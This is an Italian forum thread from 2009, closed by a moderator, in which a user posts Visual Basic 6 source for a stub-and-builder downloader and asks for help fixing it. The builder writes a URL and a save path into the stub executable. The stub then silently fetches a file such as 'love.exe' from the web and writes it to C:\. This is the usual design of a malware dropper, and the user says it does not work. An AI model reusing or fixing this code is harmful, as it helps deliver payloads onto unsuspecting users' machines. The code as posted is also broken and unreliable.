Questo topic e' stato chiuso dal moderatore.
13/05/09 20:48
4sp1d3
Ciao a tutti mi sono scritto da pochissimo ho un problema con un downloader vi posto i sorgente
stub
modulo_stub
Builder
compila perfettamente ma non funziona mi dice che non trova il file, in sostanza vorrei dare in input delle stringhe URL e ROTTA memorizzarle nelle 2 variabili dello stub che poi a sua volta le invia nel file creato che dovrebbe poi scaricare da un mio sito un file
p.s. la form a bisogno di 2 text e un bottone
grazie in anticipo
4sp1d3
stub
Private Sub Form_Load() 'Debug.Print ucDL1.Download(("http://www.MioUrl.org/love.exe"), ("C:\love.exe")) ' in questo modo funziona benissimo!!!! commentando ovviamente la parte sotto Dim link As String Dim rotta As String Open App.Path & "\" & App.EXEName & ".exe" For Binary As 1 Get #1, LOF(1) - 399, link Get #1, , rotta Close #1 Debug.Print ucDL1.Download((link), (rotta)) End Sub
modulo_stub
'--------------------------------------------------------------------------------------- ' Module : ucDL ' DateTime : 30/07/2008 16:10 ' Author : Cobein ' Mail : cobein27@hotmail.com ' WebPage : http://www.advancevb.com.ar ' Purpose : Simple Downloader control ' Usage : At your own risk ' Requirements: None ' Distribution: You can freely use this code in your own ' applications, but you may not reproduce ' or publish this code on any web site, ' online service, or distribute as source ' on any media without express permission. ' ' History : 30/07/2008 First Cut.................................................... '--------------------------------------------------------------------------------------- Option Explicit Public Event DownloadComplete(ByVal bSuccess As Boolean) Public Event Downloading() Private c_bSinc As Boolean Private c_bSuccess As Boolean Public Function Download( _ ByVal sUrl As String, _ ByVal sFileName As String, _ Optional bSincronic As Boolean = True) As Boolean Call UserControl.AsyncRead( _ sUrl, _ vbAsyncTypeByteArray, _ sFileName, _ vbAsyncReadForceUpdate) c_bSinc = bSincronic c_bSuccess = False Do While c_bSinc DoEvents Loop Download = c_bSuccess End Function Private Sub UserControl_AsyncReadComplete(AsyncProp As AsyncProperty) Dim iFile As Long Dim bvData() As Byte On Local Error GoTo UserControl_AsyncReadComplete_Error iFile = FreeFile With AsyncProp If Not .BytesRead = 0 Then Open .PropertyName For Binary Access Write As iFile bvData = .Value Put iFile, , bvData Close iFile c_bSuccess = True RaiseEvent DownloadComplete(True) Else GoTo UserControl_AsyncReadComplete_Error End If End With c_bSinc = False Exit Sub UserControl_AsyncReadComplete_Error: c_bSinc = False Close iFile RaiseEvent DownloadComplete(False) End Sub Private Sub UserControl_AsyncReadProgress(AsyncProp As AsyncProperty) With AsyncProp Select Case .StatusCode Case vbAsyncStatusCodeDownloadingData: RaiseEvent Downloading Case vbAsyncStatusCodeError: c_bSinc = False End Select End With End Sub Private Sub UserControl_Resize() UserControl.Width = 180 UserControl.Height = 375 End Sub Private Sub UserControl_Show() Print "6" End Sub
Builder
Private Sub Form_Load() Dim link As String Dim rotta As String End Sub Private Sub Command1_Click() link = Text1.Text rotta = Text2.Text FileCopy App.Path & "\stub.exe", App.Path & "\downloader.exe" If Text1.Text = "" Or Text2.Text = "" Then MsgBox " Inserisci Path o Url" End If Open App.Path & "\downloader.exe" For Binary As 1 Put #1, LOF(1) + 1, link Put #1, , rotta Close #1 MsgBox "Downloder creato con successo", vbInformation, "Informazione" End Sub
compila perfettamente ma non funziona mi dice che non trova il file, in sostanza vorrei dare in input delle stringhe URL e ROTTA memorizzarle nelle 2 variabili dello stub che poi a sua volta le invia nel file creato che dovrebbe poi scaricare da un mio sito un file
p.s. la form a bisogno di 2 text e un bottone
grazie in anticipo
4sp1d3
Ultima modifica effettuata da 4sp1d3 13/05/09 20:52
aaa